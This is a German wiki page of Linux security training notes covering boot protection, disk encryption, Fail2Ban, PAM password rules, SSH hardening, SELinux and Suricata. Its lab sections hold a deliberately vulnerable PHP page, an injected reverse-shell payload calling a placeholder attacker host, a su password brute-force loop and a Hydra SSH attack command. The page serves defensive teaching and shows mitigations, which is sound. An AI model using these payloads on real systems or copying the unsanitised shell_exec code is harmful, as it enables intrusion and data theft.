Informationssicherheit in Linux-Umgebungen

Aus xinux.net
Zur Navigation springen Zur Suche springen

Ausgangszustand

physischer Zugangsschutz

Bootzugriff absichern

  • Der erste Prozess mit dem Linux gebootet wird, kann von GRUB2 bestimmt werden.
  • So kann man das Passwort des root-Nutzers zurücksetzen, falls man diesen vergessen hat.
  • D.h. aber auch, dass ein unautorisierter Benutzer mit Zugriff auf die physische Maschine sich eine Shell geben kann ohne Kenndaten einzugeben.
  • Anleitung zu Linux boot hacking
  • Man sollte also kritische Systeme mit einem GRUB Passwort vor ungewollten Änderungen der Boot-Einträge absichern
  • Anleitung zum setzen eines Passworts für GRUB2

Festplatte verschlüsseln

  • cryptsetup luksFormat /dev/sdXx
  • cryptsetup open /dev/sdXx name
  • cryptsetup close name

Brute Force Attacken

  • Brute Force Attacken versuchen durch sich bei einem Dienst mit zufälligen Anmeldedaten zu authentifizieren ohne diese zu kennen
  • Dafür werden entweder zufällig generierte oder häufig benutzte Benutzernamen / Passwörter versucht
  • Eine populäre Software für solche Testzwecke mit Multithreading ist Hydra
  • apt update
  • apt install hydra

Passwordliste laden

Angriff starten

  • hydra -l xinux -P bad-passwords aa.bb.cc.dd ssh

SSH Daemon in Fail2Ban aktivieren

  • vim /etc/fail2ban/jail.local
[sshd]
enable = true
#port = 2222

Fail2Ban

  • Fail2Ban (Fehlschlag führt zu Ban) überprüft die Authentifikations-Logs nach fehlgeschlagenen Anmeldeversuchen
  • Dienst, Zeit der Anmeldung und IP werden analysiert
  • Wenn das Limit überschritten wird, erstellt Fail2Ban für einen Zeitraum eine Firewall-Regel, welche diese IP sperrt

Status checken

  • fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed:	1
|  |- Total failed:	14
|  `- File list:	/var/log/auth.log
`- Actions
   |- Currently banned:	1
   |- Total banned:	1
   `- Banned IP list:	10.0.1xx.2
  • iptables -nvL

Alles unbannen

  • fail2ban-client unban --all

PAM

  • Mit dem Pluggable Authentication Module kann man bestimmte Passwortrichtlinien setzen, um das setzen von einfachen/wohlbekannten Passwörtern zu verhindern
  • Sicherheitskopie der Konfigurationsdatei vor der Installation von Cracklib
  • cp /etc/pam.d/common-password /root/

Cracklib

  • apt install libpam-cracklib
  • vim /etc/pam.d/common-password
...
password    requisite   pam_cracklib.so retry=3 minlen=16 difok=3 ucredit=-1 lcredit=-2 dcredit=-2 ocredit=-2
...
  • retry=3 : Benutzer höchstens 3 Mal auffordern, bevor er mit einem Fehler zurückkehrt. Der Standardwert ist 1.
  • minlen=16 : Die akzeptable Mindestgröße für das neue Passwort.
  • difok=3 : Dieses Argument ändert den Standardwert von 5 für die Anzahl der Zeichenänderungen im neuen Passwort, die es vom alten Passwort unterscheiden.
  • ucredit=-1 : Das neue Passwort muss mindestens 1 Großbuchstaben enthalten.
  • lcredit=-2 : Das neue Passwort muss mindestens 2 Kleinbuchstaben enthalten.
  • dcredit=-2 : Das neue Passwort muss mindestens 2 Ziffern enthalten.
  • ocredit=-2 : Das neue Passwort muss mindestens 2 Zeichen enthalten.

Einrichten einer Passwortliste

  • Der Name des Parameters dictpath ist ein wenig irreführend, da es nicht auf eine einzelne Datei zeigt, sondern auf 3 Dateien mit diesen Präfix
  • vim /etc/pam.d/common-password
...
password        requisite   pam_cracklib.so dictpath=/var/cache/cracklib/cracklib_dict
...


IP bei zu vielen Anfragen sperren

table inet filter {
    set blackhole {
        type ipv4_addr;
        flags dynamic, timeout;
        size 65536;
    }

    chain input {
        ...
        ct state new tcp dport 22 \
                meter flood size 128000 { ip saddr timeout 10s limit rate over 10/minute } \
                add @blackhole { ip saddr timeout 1m }

        ip saddr @blackhole counter drop
    }
    ...
}

SSH Keys

  • Man sollte den Einsatz von Passwörtern vermeiden, wo es geht, da Menschen schlecht darin sind sich viele komplexe Passwörter zu merken, die sich genug unterscheiden
  • Bei SSH haben wir die Möglichkeit uns mit einem privatem Schlüssel anzumelden
  • vim /etc/ssh/sshd_config
Port 2222
AddressFamily inet
PasswordAuthentication no
UsePAM no
  • Damit man nicht jedesmal den SSH-Schlüssel entsperren muss, sollte man SSH Agenten benutzen

Command Injection über eine Webanwendung

Laboraufbau

  • apt install apache2 php-sqlite3 libapache2-mod-php

Schwachstelle im Code

  • vim /var/www/html/command-injection.php
 <!DOCTYPE html>
 <html>
	<body>
		<h2>PING</h2>
		<form method="post">
		  <label for="fname">IP</label><br>
		  <input type="text" name="ip"><br>
		  <input type="submit" name="submit" value="submit">
		</form>
		<br>
 <?php
 if(isset($_POST['submit'])){
 	$ip = $_POST['ip'];
 	$cmd = 'ping -c 4 ' . $ip;
 	$output = shell_exec($cmd);
 	echo "<pre> $output</pre>";
 }
 ?>
	 </body>
 </html>
</php>

Exploit

  • Auf der Angreifermaschine:
  • nc -p port
  • In der Webanwendung:
  • 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
  • nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer www-data bekommen!
  • Von dieser Position aus kann man folgenderweise weitermachen:
    • Backend Code des Servers auslesen
    • Informationen aus den Datenbanken stehlen
    • Brute Force root Passwort: for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done
    • Netzwerktopologie aufdecken: mit nmap (falls installiert) oder manuell mit ping und netcat
    • Informationen über verwendete Software-Versionen sammeln

Host Intrusion Detection System

  • Wenn bestimmte Dateien auf unserem System verändert werden, kann es sich um einen potentiellen Hack handeln
  • Wir wollen darüber informiert werden, welche Dateien es sind, damit wir danach entscheiden können ob es sich um eine erwartete Veränderung handelt oder nicht
  • AIDE
  • Tripwire

Apparmor

SELinux

  • Ein Benutzer versucht ein Programm aufzurufen.
  • Dem Benutzer ist ein Benutzer Typ zugeordnet.
  • Dem Pragamm ist ein Progamm Typ zugeordnet.
  • SELinux checkt nun ob der Benutzer Typ das Programm anhand des Programm Typ aufrufen darf.
  • Dann wird gecheckt ob der Benutzer Typ zu dem Prozess Typ transitieren darf.
  • Wenn dies erlaubt ist transitiert der Benutzer Typ zum Prozess Typ.
  • Der Prozess läuft dann mit den entsprechenden Rechten unter seinem Prozess Typ.
  • Diese Command Injection Schwachstelle lässt sich mit SELinux beheben
  • SELinux unter Debian
  • Damit der Ping aber weiterhin funktioniert, muss noch ein Richtlinienmodul geladen werden, der speziell für Apache2 das Pingen erlaubt
  • setenforce 0
  • Normal auf der Weboberfläche pingen (Keine Reverse Shell aufbauen!)
  • Nun kann man die Verstöße in ein ladbares Modul umwandeln, welches speziell nur die Rechte vergibt, um Ping zuzulassen
  • ausearch -m AVC -ts recent | audit2allow -M apache2-ping
  • semodule -i apache2-ping.pp
  • setenforce 1
  • Nun sollte das Öffnen eines Portes durch Command Injection durch SELinux verhindert werden
  • Die Verstöße kann man sich nochmal mit ausearch anzeigen lassen
!!Achtung!! Andere Kommandos könnten jedoch immernoch ausgeführt werden, z.B. 1.1.1.1 ; ls zeigt uns den Inhalt des Ordners /var/www/html

OWASP Juice Shop

  • Beispiel einer Webapplikation mit vielen (absichtlich) eingebauten Schwachstellen
  • Soll das Vorgehen eines Hackers/Pentesters nachspielbar machen
  • Erkunden der Webseite wie ein normaler Benutzer(auch als happy path bezeichnet)
  • Untersuchen des HTML- und Javascript-Codes auf versteckte Informationen und auf die Funktionsweise der Webseite
  • Injectionversuche über POST-Anfragen
  • Request-Manipulation mit Burp

SQL Injection

  • Angreifer bricht aus der normalen Anfrage der Webapplikation heraus und schafft es seine eigene Anfrage miteinzubetten

Cross Site Scripting

Burp

  • Dieses Tool ermöglicht das Abfangen von individuellen HTTP-Anfragen des Browsers
  • Diese können dann wie eine Textdatei bearbeitet und weitergesendet werden
  • Intruder: vereinfacht Brute-Force Attacken
  • Repeater: speichert spezielle Anfragen und hat vielseitige Anwendungen, z.B.
    • Analyse spezieller Antworten des Servers
    • Leichters Abändern einer Anfrage
    • Reverse Engineering des Backends

Suricata

  • Infrastruktur-Beispiel:
  • Da Suricata über Deep Packet Inspect die Paketinhalte analysiert, darf der Verkehr nicht verschlüsselt sein
  • Wir lösen das Problem hier über HAProxy, der verschlüsselt mit den Clients kommuniziert, aber unverschlüsselt mit den Servern
  • Zusätzlich können wir nun theoretisch alle TLS Zertifikate über HAProxy terminieren lassen
  • Außerdem gibt das uns die Möglichkeit Loadbalancing zu betreiben
  • Erkennen von SQL Injection Tests
  • vim /etc/suricata/rules/local.rules
alert http any any <> any any (msg: "SQL Injection Attempt!"; http.request_body; content: "OR 1=1"; sid:4;)

Schwachstellenerkennung/-scanning

nmap

Greenbone Security Manager

Social Engineering

  • Viele Hacks sind nicht nur eine technische Schwachstelle, sondern beinhalten auch eine soziale Komponente

Squid Proxy

  • Ein transparenter Proxy erlaubt uns den HTTP/S Verkehr der Clients zu kontrollieren
  • Wir können so einen gewissen Schutz vor Phishing Attacken und Virendownload bieten

Links